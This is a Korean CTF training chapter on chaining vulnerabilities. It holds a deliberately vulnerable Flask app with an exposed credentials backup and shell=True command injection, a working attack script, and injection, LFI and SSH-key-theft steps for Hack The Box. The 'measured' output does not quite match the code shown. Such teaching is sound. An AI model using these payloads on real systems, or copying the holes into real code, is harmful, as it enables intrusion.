Step 269. HTB Medium 1대 (누적 4) — 취약점 조합

Step 269. HTB Medium 1대 (누적 4) — 취약점 조합

Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★☆ | 예상 소요 시간 1~2일

전제: HTB Easy 6대(Step 255~258)와 Medium 3대(Step 265~268)를 root까지 풀었다. 개인 위키(Step 89)가 열려 있다.

  • 준비물: HTB 계정과 VPN 연결, 공격 머신, 자산 목록을 적을 문서. 그리고 로컬 체인 랩용 파이썬(Flask).
  • ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다. Hack The Box(hackthebox.com)는 운영자가 공격 연습용으로 공식 개방한 합법 학습 플랫폼입니다 — HTB 머신과 여러분의 로컬 랩 외에는 오늘의 기술을 쓰지 않습니다.
  • 화면 안내: HTB 접속 화면과 머신 공략 장면은 전부 화면 예시입니다. 로컬 체인 랩(3-1~3-3)의 파이썬 실행 결과만 실측입니다.

Easy까지는 취약점 하나가 열쇠 하나였습니다. Medium 후반부부터는 풍경이 바뀝니다 — 정보 노출로 자격증명을 얻고, 그걸로 로그인하고, 인증 뒤에 숨은 기능에서 LFI를 찾고, LFI로 읽은 개인키로 SSH에 접속합니다. 어느 취약점 하나도 단독으로는 끝까지 못 가지만, 이어 붙이면 root에 닿습니다.

오늘의 주제는 그 "이어 붙이기"의 사고방식, 취약점 체인(chaining)입니다. 핵심 질문은 하나 — "이 작은 발견이 어디의 열쇠인가?" 먼저 로컬 랩에서 체인을 몸으로 겪고, 그 감각을 네 번째 Medium 머신에 들고 갑니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • 취약점 체인의 개념과 대표 패턴(정보 노출 → 인증 우회 → RCE)을 설명한다
  • 발견한 자격증명·경로·버전을 "자산 목록"에 즉시 기록하는 습관을 실행한다
  • 막혔을 때 자산 목록과 아직 안 쓴 표면의 조합으로 새 가설을 만든다
  • 로컬 체인 랩을 돌려 2단 체인의 동작을 직접 확인한다
  • Medium 머신 1대를 공략하고 최종 체인을 경로도로 그린다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 HTB 플랫폼(VPN), 로컬 파이썬 Flask 랩, 개인 위키
오늘의 도구 기존 무기 전부(nmap·gobuster·Burp 등) + "자산 목록" 문서
필요한 개념 취약점 체인, 공격 표면(attack surface), 자산 목록, 가설 생성
오늘의 산출물 체인 랩 공략 로그 + HTB Medium 누적 4대 + 체인 경로도

2-1. 취약점 체인 — 작은 구멍들의 연결

취약점 체인(vulnerability chaining)은 각각은 치명적이지 않은 취약점 여러 개를 순서대로 연결해 최종 목표에 도달하는 공격 방식입니다. 실제 침해 사고의 대부분이 이 형태입니다 — 제로데이 하나로 끝나는 사고보다 "노출된 백업 파일 → 재사용된 비밀번호 → 패치 안 된 내부 시스템" 같은 연결이 훨씬 흔합니다.

Medium 머신이 Easy와 다른 이유가 바로 이것입니다. Easy는 "구멍 하나 찾기", Medium은 "구멍 여러 개를 올바른 순서로 꿰기"입니다.

2-2. 대표 체인 패턴 세 가지

패턴 흐름 각 고리의 성격
정보 노출 → 인증 우회 → RCE 주석·백업 파일에서 자격증명 → 로그인 → 인증 뒤 기능의 명령 인젝션 가장 흔한 웹 체인
파일 읽기 → 키 획득 → SSH LFI로 /home/user/.ssh/id_rsa 열람 → 그 키로 SSH 접속 인증을 "우회"가 아니라 "생략"
서비스 A → 자격증명 재사용 → 서비스 B FTP 익명 접속에서 설정 파일 → 같은 비밀번호가 웹 관리자에 통함 사람은 비밀번호를 재사용한다

공통 구조를 보세요. 한 취약점의 산출물이 다음 취약점의 입력입니다. 그래서 체인 공략의 기술은 "발견"만큼 "보관"에 있습니다 — 지금 쓸모없어 보이는 문자열도 자산 목록에 적어 두면 세 시간 뒤의 열쇠가 됩니다.

2-3. 자산 목록 — 체인의 부품 창고

자산 목록(asset list)은 공략 중 발견한 모든 것을 적는 문서입니다. 형식은 단순합니다.

## 자산 목록
| 종류 | 내용 | 발견 위치 | 사용 여부 |
|------|------|-----------|-----------|
| 자격증명 | admin / summer2026! | /backup 설정 파일 | 로그인에 사용 |
| 경로 | /diag?host= | 로그인 후 메뉴 | 명령 인젝션 성공 |
| 버전 | Apache 2.4.49 | 응답 헤더 Server | 미사용 |

규칙은 두 개입니다. 첫째, 발견 즉시 적는다 — "나중에 적어야지"는 잊는다는 뜻입니다. 둘째, 사용 여부를 추적한다 — "미사용" 칸이 곧 미래의 가설 창고입니다.

2-4. 막혔을 때의 가설 생성 — 곱하기 사고

체인 머신에서 막혔다는 것은 대부분 "가진 부품과 시도한 문이 안 맞은" 상태입니다. 이때의 해법은 조합입니다 — 자산 목록의 각 항목 × 아직 시도 안 한 표면을 곱해 가설을 만듭니다.

  • 자산: 자격증명 1개, 내부 경로 2개, 사용자 이름 목록
  • 미사용 표면: SSH 포트, 웹 로그인 폼, SMB 공유
  • 가설: "자격증명을 SSH에 대입", "같은 자격증명을 웹 로그인에 대입", "사용자 목록 + 흔한 비밀번호를 SSH에 대입" …

"아이디어가 안 떠오른다"는 순간은 이 곱하기를 표로 그리는 순간으로 바꾸세요. Medium 머신의 돌파구는 거의 항상 이 표의 빈칸에 있습니다.


3. 따라 하기

3-1. 로컬 체인 랩 — 교과서적 2단 체인

HTB에 들어가기 전에, 체인이 무엇인지 손으로 확인할 최소 랩을 만듭니다. 아래 Flask 앱에는 교과서적인 취약점 두 개가 심어져 있습니다. chain_lab/app.py로 저장하세요.

import subprocess
from flask import Flask, request, session, redirect

app = Flask(__name__)
app.secret_key = "lab-secret"

BACKUP_CONFIG = """# config.py.bak — 배포 전 삭제할 것!
ADMIN_USER = "admin"
ADMIN_PASSWORD = "summer2026!"
"""

@app.route("/")
def index():
    return """
    <h1>Intranet Diag Portal</h1>
    <a href="/login">로그인</a>
    <!-- TODO: 배포 전에 /backup 지울 것 -->
    """

@app.route("/backup")
def backup():
    # 취약점 1: 인증 없이 열리는 백업 파일(정보 노출)
    return BACKUP_CONFIG, 200, {"Content-Type": "text/plain; charset=utf-8"}

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "GET":
        return '''<form method="post">
          <input name="user"><input name="pw" type="password">
          <button>로그인</button></form>'''
    if request.form.get("user") == "admin" and request.form.get("pw") == "summer2026!":
        session["auth"] = True
        return redirect("/diag")
    return "로그인 실패", 401

@app.route("/diag")
def diag():
    if not session.get("auth"):
        return "401 인증 필요", 401
    host = request.args.get("host", "127.0.0.1")
    # 취약점 2: shell=True + 입력 미검증(명령 인젝션)
    out = subprocess.run(f"ping -n 1 {host}", shell=True,
                         capture_output=True, text=True)
    return f"<pre>{out.stdout}</pre>"

if __name__ == "__main__":
    with open("flag.txt", "w", encoding="utf-8") as f:
        f.write("FLAG{ch41n_0f_sm4ll_th1ngs}\n")
    app.run(host="127.0.0.1", port=8269)

⚠️ 이 코드는 의도적으로 취약한 교육용입니다. 127.0.0.1에만 물려 있으니 그대로 두고, 절대 실서비스에 올리지 마세요.

읽는 법: 취약점 1(/backup의 평문 자격증명)은 단독으로는 "로그인 가능"일 뿐이고, 취약점 2(/diag의 명령 인젝션)는 로그인 없이는 손댈 수도 없습니다. 둘을 순서대로 이어야 플래그에 닿습니다 — 이것이 체인의 최소 단위입니다.

3-2. 랩 서버 실행

입력 (Git Bash, chain_lab 폴더에서):

python app.py

출력 예시 — 실행 확인 후에는 이 터미널을 둔 채 다른 터미널을 엽니다.

* Running on http://127.0.0.1:8269

왜 하는가: HTB 머신 공략 장면은 이 책이 대신 보여 줄 수 없습니다(서버 실측 불가). 대신 같은 구조의 랩을 로컬에서 돌려 "체인을 걷는 손맛"을 실측으로 체험하고, 그 손맛을 HTB에 이식하는 것이 오늘의 설계입니다.

3-3. 체인 공격 시연 — 실측

공격 쪽 스크립트 attack.py입니다. 한 단계씩 다음 단계의 입력을 만들어 가는 흐름에 주목하세요.

import re, requests

BASE = "http://127.0.0.1:8269"

print("== [1] 첫 화면 확인 — 주석 속 힌트 ==")
r = requests.get(BASE + "/")
print("HTML 주석:", re.search(r"<!--(.*?)-->", r.text, re.S).group(1).strip())

print("== [2] /backup 접근 — 자격증명 평문 노출 ==")
print(requests.get(BASE + "/backup").text.strip())

print("== [3] 노출된 자격증명으로 로그인 ==")
s = requests.Session()
r = s.post(BASE + "/login", data={"user": "admin", "pw": "summer2026!"})
print("로그인 응답 코드:", r.status_code)

print("== [4] 인증 없이 /diag 접근 시도 (대조군) ==")
r2 = requests.get(BASE + "/diag")
print("응답:", r2.status_code, r2.text)

print("== [5] 내부 기능 /diag — 정상 호출 ==")
r = s.get(BASE + "/diag", params={"host": "127.0.0.1"})
print(r.text[:200].strip(), "...")

print("== [6] 명령 인젝션 — flag.txt 읽기 ==")
r = s.get(BASE + "/diag", params={"host": "127.0.0.1 & type flag.txt"})
body = re.sub(r"</?pre>", "", r.text)
print(body.strip())

출력 (2026-09-09 실측, Windows Git Bash + Python 3.12):

== [1] 첫 화면 확인 — 주석 속 힌트 ==
HTML 주석: TODO: 배포 전에 /backup 지울 것 (개발자 김OO)

== [2] /backup 접근 — 자격증명 평문 노출 ==
# config.py.bak — 배포 전 삭제할 것!
DB_HOST = "127.0.0.1"
ADMIN_USER = "admin"
ADMIN_PASSWORD = "summer2026!"

== [3] 노출된 자격증명으로 로그인 ==
로그인 응답 코드: 200

== [4] 인증 없이 /diag 접근 시도 (대조군) ==
응답: 401 401 인증 필요

== [5] 내부 기능 /diag — 정상 호출 ==
<pre>
Ping 127.0.0.1 32바이트 데이터 사용:
127.0.0.1의 응답: 바이트=32 시간<1ms TTL=128
... (중략) ...

== [6] 명령 인젝션 — flag.txt 읽기 ==
Ping 127.0.0.1 32바이트 데이터 사용:
127.0.0.1의 응답: 바이트=32 시간<1ms TTL=128
... (중략) ...
FLAG{ch41n_0f_sm4ll_th1ngs}
탈취한 플래그: FLAG{ch41n_0f_sm4ll_th1ngs}

읽는 법: 네 가지를 눈여겨보세요. ① 1단의 산출물(주석 속 경로)이 2단의 입력이 됐습니다. ② 2단의 산출물(자격증명)이 3단의 입력이 됐습니다. ③ 대조군 [4]가 보여 주듯, 인증 없는 /diag401 인증 필요로 막힙니다 — 순서를 바꾸면 체인은 무너집니다. ④ 명령 인젝션에서 & 뒤에 붙인 type flag.txt가 ping 출력 아래에 그대로 실행됐습니다.

왜 하는가: "정보 노출 → 인증 → RCE"를 글로 읽는 것과, 401에 막혔다가 자격증명으로 통과해 플래그를 빼내는 것을 손으로 겪는 것은 다릅니다. HTB Medium에서 만날 체인은 이것보다 길고 숨겨져 있을 뿐, 뼈대는 같습니다.

3-4. HTB 머신 선정과 자산 목록 개시

이제 네 번째 Medium입니다. 체인 유형으로 유명한 머신을 고르세요 — write-up 제목에 "chaining"이 언급되거나, 커뮤니티 평가가 좋은 Active/Retired 머신이면 됩니다.

머신을 배포하는 순간부터 자산 목록 문서를 열어 둡니다. 정찰 직후의 예시 (화면 예시):

$ nmap -sV -sC 10.10.11.xx
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH 8.9p1
80/tcp   open  http          Apache httpd 2.4.52
|_http-title: Staff Portal

스캔이 끝나는 즉시 자산 목록 첫 행들이 채워져야 합니다 — 포트 3개, 서비스 버전 3개, 페이지 제목 1개. 스캔 출력을 훑고 넘기는 것과 자산으로 옮기는 것의 차이가 오늘 배우는 습관의 전부입니다.

3-5. 체인 걷기 — 발견할 때마다 묻는 한 문장

공략 중 발견이 생길 때마다 자산 목록에 적고, 그 자리에서 묻습니다 — "이것이 어디의 열쇠인가?" Medium 후반부의 전형적인 흐름 (화면 예시):

[발견 1] gobuster → /backup 디렉터리, config.php.bak 다운로드
         → 자산: db_pass="Str0ng!Pass"
         → 질문: 이 비밀번호가 열리는 문은? → 시도: 웹 로그인, SSH, FTP
[발견 2] 웹 로그인 성공 → 인증 뒤 메뉴에 "로그 뷰어" 발견
         → 자산: 내부 경로 /view.php?file=
         → 질문: file= 에 무엇을 넣을 수 있나? → 시도: ../../../etc/passwd
[발견 3] LFI 성공 → /home/svc/.ssh/id_rsa 열람
         → 자산: 개인키
         → 질문: 이 키로 어디에 접속하나? → ssh -i id_rsa svc@대상
[발견 4] svc 접속 → sudo -l → (ALL) /usr/bin/backup 스크립트
         → 권한 상승 → root.txt

각 발견이 다음 발견의 입구인 사슬이 보이시나요. 그리고 핵심 — [발견 1]의 비밀번호가 SSH에 안 통했다고 버렸다면 체인은 거기서 끝났습니다. 발견한 자격증명은 모든 로그인 지점에 대입해 보는 것이 상식입니다. 재사용은 사람의 본능이고, 그 본능이 공격자의 길입니다.

3-6. 체인 경로도 그리기와 회고

root를 잡으면(또는 타임박스가 끝나면) 최종 체인을 그림으로 정리합니다.

nmap(80 발견)
  → gobuster(/backup 발견)
    → config.php.bak(자격증명)
      → 웹 로그인
        → 로그 뷰어 LFI
          → id_rsa 탈취
            → SSH(svc)
              → sudo 스크립트 악용 → root

그리고 회고 질문 하나에 답합니다 — "어느 연결고리를 가장 늦게 발견했고, 왜 늦었는가?" 답이 "자산 목록에 있었는데 대입을 안 했다"이면 습관의 문제, "애초에 발견을 못 했다"이면 열거의 문제입니다. 이 둘은 처방이 다릅니다 — 전자는 대입 절차를 체크리스트로, 후자는 Step 268의 열거 깊이로 되돌아가 복습하세요.


4. 미션과 연습문제

미션 — 네 번째 Medium과 체인 경로도

  1. 로컬 체인 랩(3-1~3-3)을 직접 실행해 플래그를 탈취한다
  2. HTB Medium 머신 1대(누적 4)를 골라 타임박스 2일로 공략한다
  3. 공략 내내 자산 목록(종류·내용·발견 위치·사용 여부)을 유지한다
  4. 종료 후 최종 체인 경로도와 회고("가장 늦게 발견한 연결고리")를 위키에 남긴다

연습문제

문제 1. 취약점 체인에서 "한 취약점의 산출물이 다음 취약점의 입력"이라는 문장의 뜻을, 3-3 랩의 구체적 값을 들어 설명해 보세요.

문제 2. 3-3의 대조군 [4]에서 /diag401 인증 필요를 반환했습니다. 이 사실이 "체인의 순서가 중요하다"는 주장을 어떻게 뒷받침하는지 말해 보세요.

문제 3. 자산 목록의 "사용 여부" 칸이 왜 가설 생성에 핵심인지 설명해 보세요.

문제 4. 발견한 비밀번호가 SSH 로그인에 실패했습니다. 이 비밀번호를 버리기 전에 시도해야 할 것을 두 가지 이상 말해 보세요.


5. 모범 답안과 완료 기준

미션 모범 답안

체인 랩은 3-3의 출력처럼 FLAG{ch41n_0f_sm4ll_th1ngs}가 찍히면 성공입니다. HTB 머신은 2일 안에 root를 못 잡아도 자산 목록과 경로도(도달한 곳까지)가 있으면 학습 목표는 달성입니다 — 다음 세션에 이어서 공략하세요.

검증하는 법: ① 랩 공략 로그에 [1]~[6] 단계가 순서대로 있는가. ② 자산 목록에 "미사용"으로 남은 항목이 최종 체인에서 어떻게 쓰였는지 추적 가능한가. ③ 체인 경로도의 화살표마다 "무엇을 얻어 무엇에 썼는지"가 적혀 있는가. ④ 회고 문장이 구체적인가("운이 없었다"가 아니라 "웹 로그인에 대입을 40분 늦게 했다").

연습문제 해답

문제 1 해답. 1단의 산출물인 주석 속 경로 /backup이 2단(정보 노출 확인)의 입력이 되고, 2단의 산출물인 admin / summer2026!가 3단(로그인)의 입력이 되며, 3단의 산출물인 인증 세션이 6단(명령 인젝션 호출)의 입력이 됩니다. 어느 하나도 다음 단계 없이는 플래그에 닿지 못합니다.

문제 2 해답. 명령 인젝션 취약점은 /diag에 있지만, 이 엔드포인트는 인증 세션을 요구합니다(401로 확인). 즉 6단의 취약점을 이용하려면 2~3단의 정보 노출과 로그인이 먼저 성공해야 합니다. 개별 취약점은 조건에 가려져 있고, 체인이 그 조건을 순서대로 해결한다는 뜻입니다.

문제 3 해답. 막혔을 때의 가설은 "아직 안 쓴 자산 × 아직 안 시도한 표면"의 조합에서 나옵니다. 사용 여부 칸이 없으면 무엇을 썼고 무엇이 남았는지 기억에 의존하게 되고, 사람의 기억은 긴 공략 끝에 반드시 빠뜨립니다. "미사용" 목록이 곧 남은 가설의 목록이기 때문입니다.

문제 4 해답. 같은 비밀번호를 다른 로그인 지점(웹 로그인 폼, FTP, SMB, 데이터베이스)에 대입해 봅니다. 또 해당 사용자가 아닌 다른 사용자 이름과 조합해 봅니다(사용자는 열거로 얻은 목록에서). 그래도 안 되면 자산 목록에 "SSH에서 실패"라고 결과를 기록하고 다음 가설로 넘어갑니다 — 실패도 기록해야 다시 같은 시도를 반복하지 않습니다.

완료 기준 체크리스트

  • [ ] 취약점 체인의 개념을 "산출물 → 다음 입력" 구조로 설명할 수 있다
  • [ ] 로컬 체인 랩을 실행해 플래그를 탈취했다
  • [ ] 401 대조군이 왜 필요한지(인증 조건 확인) 설명할 수 있다
  • [ ] 발견 즉시 자산 목록에 적는 습관을 실제 공략에 적용했다
  • [ ] 막혔을 때 자산 × 표면 조합으로 가설을 생성해 봤다
  • [ ] 발견한 자격증명을 모든 로그인 지점에 대입하는 절차를 지켰다
  • [ ] 미션: Medium 누적 4대 공략 + 체인 경로도 + 회고를 위키에 남겼다

6. 흔한 실수와 해결

벽 1. Flask 서버가 안 뜬다 — Address already in use

증상: python app.pyOSError: [WinError 10048] ... 또는 포트 점유 오류로 종료됩니다.
원인: 이전에 띄운 서버가 8269 포트를 잡고 있습니다.
해결: 이전 터미널을 찾아 Ctrl+C로 끄거나, 포트 번호를 바꾸세요. Git Bash에서 netstat -ano | grep 8269로 점유 프로세스를 확인할 수 있습니다.

벽 2. 로그인이 됐는데도 /diag가 401이다

증상: 로그인은 200인데 /diag 호출이 401 인증 필요로 돌아옵니다.
원인: 쿠키를 저장하지 않는 호출(예: requests.get을 매번 새로 호출)은 세션이 유지되지 않습니다.
해결: 3-3처럼 requests.Session()을 만들어 로그인과 이후 요청을 같은 세션으로 보내세요. 브라우저라면 로그인한 같은 탭에서 접근하면 됩니다.

벽 3. 명령 인젝션 구분자가 운영체제마다 다르다

증상: ; whoami가 먹히지 않거나, 반대로 문법 오류가 납니다.
원인: 이 랩은 Windows에서 돌려서 && type이 통하지만, Linux 서버라면 ;, &&, |가 표준입니다.
해결: 대상의 OS를 먼저 파악하세요(nmap -O, 응답 헤더, 에러 메시지 경로 형태). HTB 머신 대부분은 Linux이니 ; id 계열을 먼저 시도합니다.

벽 4. 발견한 자격증명이 어디에도 안 통한다

증상: /backup에서 얻은 비밀번호가 SSH도 웹도 안 됩니다.
원인 셋 중 하나 — 다른 사용자 이름과 조합해야 함, 비밀번호가 해시 형태라 크래킹이 필요함, 또는 아직 발견 못 한 세 번째 로그인 지점이 있음.
해결: ① 열거된 사용자 목록과 곱해 보기 ② 문자열이 해시처럼 생겼으면 hash-identifier로 형태 확인 후 크래킹 ③ 열거로 회귀해 놓친 포트·경로 찾기. "안 통하는 자격증명"은 체인 머신에서 폐기가 아니라 조건 미달 신호입니다.

벽 5. 체인 중간에서 "이게 맞나" 의심에 시간을 태운다

증상: LFI인지 아닌지 확인하느라 같은 요청을 열 번 보냅니다.
원인: 가설과 검증이 섞여 있습니다.
해결: 한 번의 결정적 테스트로 자르세요 — LFI라면 /etc/passwd를 요청해서 root:x:0:0:가 보이는지, 딱 그것만. 확률적 의심은 결정적 실험 하나로 닫는 것이 체인 머신의 시간 관리입니다.


7. 정리

오늘의 개념

개념 한 줄 설명
취약점 체인 작은 취약점들을 순서대로 이어 최종 목표에 도달하는 공격. 한 고리의 산출물이 다음 고리의 입력
정보 노출 주석·백업 파일·에러 메시지로 새는 내부 정보. 체인의 첫 고리로 가장 흔함
공격 표면 로그인 지점, 파라미터, 열린 포트 등 시도 가능한 모든 문. 자산과 곱해 가설을 만든다
자산 목록 발견한 자격증명·경로·버전과 사용 여부를 적는 문서. 체인의 부품 창고
가설 생성(곱하기 사고) 막히면 "미사용 자산 × 미시도 표면"의 조합으로 다음 시도를 만드는 기법
체인 경로도 발견 → 이용 → 획득의 화살표로 그린 최종 공격 경로. 회고의 재료

오늘의 명령·코드

명령 용도
python app.py 로컬 체인 랩 서버 실행 (127.0.0.1:8269)
requests.Session() 로그인 세션 유지(쿠키 저장)한 채 후속 요청
params={"host": "127.0.0.1 & type flag.txt"} Windows 명령 인젝션 예시 (Linux라면 ; id)
nmap -sV -sC 대상IP 머신 정찰 — 자산 목록의 첫 행들
netstat -ano | grep 8269 포트 점유 프로세스 확인

명령어보다 중요한 감각

Medium에서 실력은 "아는 기법 수"가 아니라 연결 속도로 갈립니다. 발견하는 순간 "어디의 열쇠인가"를 묻고, 막히는 순간 "무엇이 남았나"를 묻는 사람은 같은 세 시간에 두 배의 가설을 검증합니다. 그리고 체인 사고는 방어자의 눈이기도 합니다 — "이 정보가 새면 어디까지 뚫리는가"를 계산할 수 있어야 진짜 위험도 평가가 됩니다. 오늘 그린 체인 경로도는 공격 기록이자, 언젠가 여러분이 쓸 방어 보고서의 목차입니다.


전부 체크되면 Step 269 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.